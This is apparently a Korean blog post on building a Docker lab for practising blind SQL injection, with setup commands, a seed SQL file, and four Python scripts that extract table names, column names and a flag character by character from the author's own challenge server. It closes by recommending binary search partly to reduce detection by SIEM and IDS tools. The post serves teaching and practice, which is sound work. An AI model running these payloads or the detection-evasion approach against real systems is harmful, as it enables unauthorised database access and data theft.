http://cifrar.cju.ac.kr:25578
완성된 문제 사이트
http://cifrar.cju.ac.kr:25578
cifrar.cju.ac.kr:25578
개요
xss에 이어서 sqli도 강의를 해줘야 해서 직접 문제 환경을 구축했다. 이것은 같은 테이블에 원하는 정보가 없을 때, 즉 쿼리의 성공과 실패 여부만을 알 수 있는 상태에서 시도할 수 있는 blind sqli를 실습할 수 있는 환경이다.
이 서버에는 지금 다른 서비스들의 db도 쓰고 있기 때문에 도커를 통해 내부망에서 쓰는 데이터베이스 전용 네트워크 공간을 할당해 주었다. 도커 컴포즈에 한번에 넣고 하면 된다고 했는데 잘 안돼서 정석대로 그냥 db 컨테이너 하나 만들고 네트워크 만들고 문제 파일 컨테이너 만들고 네트워크에 가입시켰다.
정리하자면 다음과 같다.
1. webhacking 네트워크 생성 (앞으로 모든 sqli 문제들을 여기서 관리하기 위해) + mysql 컨테이너 생성 (webhacking_db)
2. 문제 서버 컨테이너 (25578 포트 사용)를 빌드
3. 해당 문제를 webhacking 네트워크에 가입
세팅
난 앞서 말했지만 기존 서버의 호스트 환경의 mysql이 있기 때문에.. 포트 충돌을 피해야 해서 3307을 쓰고 내부에서 3306으로 포트포워딩 하는 방식을 썼다.
docker network create webhacking
docker run -d \
--name webhacking_db \
--network webhacking \
-e MYSQL_ROOT_PASSWORD=1111 \
-e MYSQL_DATABASE=webhacking_db \
-p 3307:3306 \
mysql:latest
어차피 내부망에서 쓰는거니까 비밀번호도 대충 설정해 준다.
그럼 이제 이 webhacking_db는 webhacking이라는 네트워크에 가입된 상태이다.
version: '3.8'
services:
web:
build:
context: .
dockerfile: Dockerfile
ports:
- "25578:25578"
environment:
- DB_HOST=webhacking_db
- DB_USER=root
- DB_PASSWORD=1111
- DB_NAME=webhacking
networks:
- webhacking
networks:
webhacking:
external: true
그리고 도커 컴포즈 파일을 다음과 같이 세팅한다. 원래는 그냥 저기에다가 mysql 생성까지 다 할 수 있는데 이것저것 써보다 보니 일단 저렇게 빌드했다.
그리고 켜주면 된다.
그리고 문제 사이트에 들어가 보면 이렇게 쿼리를 넣을 수 있다. 난 미리 init.sql을 통해서 문제에 대한 세팅을 해놓은 상태라 이렇게 guest에 1234를 입력하면 login successful이라는 메시지를 볼 수 있다.
CREATE DATABASE IF NOT EXISTS webhacking;
USE webhacking;
-- users 테이블 생성
CREATE TABLE IF NOT EXISTS users (
id INT NOT NULL AUTO_INCREMENT PRIMARY KEY,
username VARCHAR(255) NOT NULL,
password VARCHAR(255) NOT NULL
);
-- flags 테이블 생성
CREATE TABLE IF NOT EXISTS flags (
id INT NOT NULL AUTO_INCREMENT PRIMARY KEY,
flag VARCHAR(255) NOT NULL
);
-- users 테이블 초기 데이터 삽입
INSERT INTO users (username, password) VALUES ('admin', '1234');
INSERT INTO users (username, password) VALUES ('user', '1234');
-- flags 테이블 초기 데이터 삽입
INSERT INTO flags (flag) VALUES ('cbcamp{**FLAG**}');
보면 알겠지만 플래그는 flags라는 테이블에 있지 users테이블에는 없다.
그래서 blind sqli를 통해 해당 테이블의 이름을 알아내고, 칼럼을 알아내고, 칼럼의 값을 알아내 플래그를 추출하는 단계가 필요하다.
import requests
# 대상 URL
url = "http://cifrar.cju.ac.kr:25578/login"
# 테이블 이름의 길이를 추측하는 함수
def get_all_table_name_lengths():
lengths = []
offset = 0 # 시작 위치
while True:
found = False # 테이블 확인 여부
for length in range(1, 100): # 테이블 이름 길이는 1~99로 가정
# GET 요청에 사용될 페이로드
payload = (
f"' OR (SELECT LENGTH(table_name) FROM information_schema.tables "
f"WHERE table_schema = DATABASE() LIMIT 1 OFFSET {offset}) = {length}-- "
)
params = {
"username": payload,
"password": "1"
}
# HTTP GET 요청
response = requests.get(url, params=params)
# 응답 확인
if "Login successful!" in response.text:
print(f"OFFSET {offset} 테이블 이름의 길이: {length}")
lengths.append(length)
found = True
break
# 더 이상 테이블이 없으면 종료
if not found:
break
# 다음 테이블로 이동
offset += 1
return lengths
# 실행
table_lengths = get_all_table_name_lengths()
print("All Tables:", table_lengths)
첫 번째로 존재하는 모든 테이블의 길이를 알아내는 코드이다.
SQL Injection의 기본 개념
SQL Injection은 애플리케이션이 입력값을 제대로 검증하지 않아 발생하는 취약점이다. 공격자는 SQL 쿼리를 조작하여 데이터베이스의 구조나 데이터를 노출시킬 수 있다.
여기서는 information_schema.tables 테이블을 활용하여 현재 데이터베이스에 존재하는 테이블 이름의 길이를 추측한다. information_schema는 데이터베이스의 메타데이터를 저장하는 시스템 테이블이다.
그래서 데이터베이스의 테이블에 대한 정보가 저장돼있는 테이블을 대상으로 공격을 시도한다고 보면 된다.
' OR (SELECT LENGTH(table_name) FROM information_schema.tables
WHERE table_schema = DATABASE() LIMIT 1 OFFSET {offset}) = {length}--
이걸 id자리에 넣게 되면 다음의 역할을 한다.
- LENGTH(table_name): information_schema.tables에서 테이블 이름의 길이를 반환한다.
- WHERE table_schema = DATABASE(): 현재 사용 중인 데이터베이스에서만 검색한다.
- LIMIT 1 OFFSET {offset}: 특정 위치의 테이블 이름만 검색한다.
- {length}: 테이블 이름 길이를 추측하기 위해 비교할 값이다.
- --: SQL 주석을 사용하여 뒤의 쿼리문을 무효화한다.
그래서 테이블명의 길이가 100 이하라고 생각하고 하나씩 대입해서 맞는지 확인하는 것이다.
여기서는 이진탐색을 통해 더 빠르게 탐색할 수도 있다.
결과적으로 2개의 테이블이 존재하고, 각각 길이는 5인 것을 알 수 있다.
import requests
# 대상 URL
url = "http://cifrar.cju.ac.kr:25578/login"
# 테이블 이름 추출 함수
def get_table_name_by_length(length, offset):
table_name = "" # 테이블 이름 초기화
for position in range(1, length + 1): # 테이블 이름의 각 위치를 확인
for char_code in range(32, 127): # 출력 가능한 ASCII 문자 범위
# GET 요청에 사용될 페이로드
payload = (
f"' OR (SELECT ASCII(SUBSTRING(table_name, {position}, 1)) FROM information_schema.tables "
f"WHERE table_schema = DATABASE() LIMIT 1 OFFSET {offset}) = {char_code}-- "
)
params = {
"username": payload,
"password": "test" # 임의의 비밀번호
}
# HTTP GET 요청
response = requests.get(url, params=params)
# 응답 확인
if "Login successful!" in response.text:
table_name += chr(char_code) # 문자 추가
print(f"OFFSET {offset} 테이블 이름 진행 중: {table_name}")
break
return table_name
# 모든 테이블 이름 추출 함수
def get_all_table_names(lengths):
table_names = []
for offset, length in enumerate(lengths):
table_name = get_table_name_by_length(length, offset)
table_names.append(table_name)
print(f"OFFSET {offset} 테이블 이름: {table_name}")
return table_names
# 테이블 이름의 길이
table_lengths = [5,5]
# 실행
table_names = get_all_table_names(table_lengths)
print("모든 테이블 이름:", table_names)
길이를 알았기 때문에 이제 각 테이블의 이름을 똑같은 원리로 추출할 수 있다.
' OR (SELECT ASCII(SUBSTRING(table_name, {position}, 1))
FROM information_schema.tables
WHERE table_schema = DATABASE()
LIMIT 1 OFFSET {offset}) = {char_code}--
- SELECT ASCII(SUBSTRING(table_name, {position}, 1))
- SUBSTRING(table_name, {position}, 1)은 table_name의 {position} 번째 문자를 가져오는 역할을 한다.
- 이를 ASCII() 함수로 감싸면 해당 문자의 ASCII 코드 값을 반환하게 된다.
- FROM information_schema.tables
- information_schema.tables는 데이터베이스의 모든 테이블 정보를 담고 있는 시스템 테이블이다. 이 테이블을 통해 데이터베이스의 메타데이터를 확인할 수 있다.
- WHERE table_schema = DATABASE()
- 현재 사용 중인 데이터베이스의 테이블만 대상으로 하기 위해 추가된 조건이다. DATABASE() 함수는 현재 데이터베이스 이름을 반환한다.
- LIMIT 1 OFFSET {offset}
- LIMIT은 검색 결과를 제한하는 데 사용된다. OFFSET은 몇 번째 테이블을 선택할지 지정하는 역할을 한다.
- 예를 들어, OFFSET 0이면 첫 번째 테이블, OFFSET 1이면 두 번째 테이블을 선택한다.
- = {char_code}
- {char_code}는 테이블 이름의 특정 위치에 해당하는 문자의 ASCII 값이다. 공격자는 이 값을 순차적으로 대입하여 조건을 만족하는 값을 찾아낸다.
이제 테이블명을 알았기 때문에 flags라는 테이블의 칼럼 목록을 확인할 차례이다.
import requests
# 대상 URL
url = "http://cifrar.cju.ac.kr:25578/login"
# 컬럼 이름 추출 함수
def get_column_names(table_name):
columns = []
offset = 0 # 시작 위치
while True:
column_name = "" # 컬럼 이름 초기화
for position in range(1, 100): # 컬럼 이름의 최대 길이 가정
found = False
for char_code in range(32, 127): # 출력 가능한 ASCII 문자
payload = (
f"' OR (SELECT ASCII(SUBSTRING(column_name, {position}, 1)) FROM information_schema.columns "
f"WHERE table_name = '{table_name}' LIMIT 1 OFFSET {offset}) = {char_code}-- "
)
params = {
"username": payload,
"password": "test"
}
# HTTP GET 요청
response = requests.get(url, params=params)
if "Login successful!" in response.text:
column_name += chr(char_code)
found = True
break
if not found:
break # 현재 컬럼 이름이 끝났음을 의미
if not column_name:
break # 더 이상 컬럼이 없음을 의미
columns.append(column_name)
offset += 1 # 다음 컬럼으로 이동
return columns
# 실행
table_name = "flags" # 컬럼명을 추출할 테이블 이름
columns = get_column_names(table_name)
print(f"Table '{table_name}'의 컬럼명: {columns}")
똑같은 원리로 칼럼명에 대한 정보를 얻을 수 있다.
그럼 이제 flag라는 칼럼 안에 있는 데이터를 얻으면 된다.
정리해 보면 webhacking이라는 데이터베이스가 있고
flags라는 테이블이 있고
flag라는 칼럼이 존재하는 것이다.
import requests
# 대상 URL
url = "http://cifrar.cju.ac.kr:25578/login"
# 특정 컬럼의 데이터를 추출하는 함수
def get_column_data(table_name, column_name):
data, row_offset = [], 0
while True:
value, found = "", True
for position in range(1, 100): # 데이터 길이 가정
for char_code in range(32, 127): # ASCII 문자 탐색
payload = (
f"' OR ASCII(SUBSTRING((SELECT {column_name} FROM {table_name} "
f"LIMIT 1 OFFSET {row_offset}), {position}, 1)) = {char_code}-- "
)
if "Login successful!" in requests.get(url, params={"username": payload, "password": "test"}).text:
value += chr(char_code)
print(f"\r[{row_offset + 1}] {value}", end="", flush=True)
break
else:
found = False
break
if not value or not found:
break
data.append(value)
row_offset += 1
return data
# 실행
table_name, column_name = "flags", "flag" # 테이블과 컬럼 이름
column_data = get_column_data(table_name, column_name)
같은 방식으로 칼럼 내부의 모든 데이터를 추출할 수 있다.
결론
블라인드 SQL 인젝션은 그 이름 그대로, 원하는 데이터를 한 글자씩 추출하는 과정에서 다량의 반복 요청이 발생하는 "노가다"적인 접근 방식이다. 그러나 이는 단순히 데이터를 노출시키는 문제를 넘어, 공격의 패턴 자체가 방어 측면에서도 충분히 탐지 가능하다는 점에서 최적화가 필요하다.
왜 이진 탐색이 필요한가?
이진 탐색(Binary Search)을 통해 블라인드 SQL 인젝션을 최적화해야 하는 이유는 단순히 속도 문제뿐만이 아니다. 반복적으로 발생하는 다량의 SQL 요청은 SIEM이나 IDS/IPS 와 같은 보안 솔루션에서 비정상적인 트래픽 패턴으로 탐지될 가능성을 높인다.
예를 들어:
- 블라인드 SQL 인젝션의 기본 방식은 특정 값(예: 테이블 이름의 ASCII 값)을 하나씩 대입하며 데이터를 추출한다. 이는 특정 값에 대해 최대 n번(문자열 길이에 따라 다름)의 시도 요청을 발생시킨다.
- 반면, 이진 탐색은 최대 요청 횟수를 log2(n)으로 줄여준다. 예를 들어, 128개의 ASCII 값을 확인해야 할 경우 기본 방식은 최대 128번의 요청이 필요하지만, 이진 탐색은 단 7번으로도 동일한 결과를 얻을 수 있다.
- 즉, 공격 로그가 128개 찍힐게 7개 밖에 안찍힌다는 소리이다.
결과적으로, 이진 탐색은:
- 공격의 효율성을 극대화한다.
- 불필요한 요청 수를 줄임으로써 보안 솔루션에서의 탐지 가능성을 낮춘다.
- 서비스 운영 측면에서 발생하는 트래픽 부하를 줄인다.
SQL 인젝션 탐지의 현실
많은 사람들이 "딱 보면 SQL 인젝션을 모를 리 없다"라고 생각하지만, 현실은 더 복잡하다. 보안 관제나 트래픽 모니터링 도구에서 SQL 인젝션을 우선적으로 탐지하는 주요 기준은 트래픽의 양이다.
만약 공격 대상이 잘 사용되지 않는 소규모 서비스라면 갑작스러운 트래픽 급증은 보안 솔루션에서 탐지되어 경고(Alert)가 발생할 가능성이 크다.
하지만 대규모 사용자 트래픽을 처리하는 서비스에서는, 일반적인 쿼리 요청과 SQL 인젝션 요청을 구분하는 것이 어려울 수 있다.
이진 탐색을 활용한 SQL 인젝션은 요청 횟수를 크게 줄이므로, 대규모 서비스에서도 탐지가 더 어렵게 되는 것이다. 요즘 sql인젝션이 되는 서비스가 어딨냐고 물어보지만 잘 찾아보면 아직도 유지보수를 덜 해서 취약한 서버를 쓰고 있는 회사들이 많다. 왜냐하면 서비스 자체를 갈아엎는 것보다 앞단에 보안 장비를 놓고, 또 앞단에 보안 장비를 놓는 식으로 방어하는 게 더 싸게 먹히기 때문이다. 그럼 sql 인젝션에 대한 취약점 자체는 여전히 존재하지만, 그냥 엄청난 데이터의 축적으로 만들어 놓은 필터링 규칙이 그 페이로드가 도달하지 못하게 막고 있는 상태라고 보면 된다.
'webhacking' 카테고리의 다른 글
[CodeGate 2025] 예선 Web문제 Write-up (0) | 2025.03.31 |
---|---|
[드림핵] 익스텐션 개발 - 다운로드 파일명 지정 (0) | 2025.03.26 |
XSS 실습 환경 구축 방법 정리(docker + selenium) (0) | 2025.01.20 |
Webhacking.kr old-20번 (0) | 2025.01.07 |
Webhacking.kr old-36번 (0) | 2025.01.02 |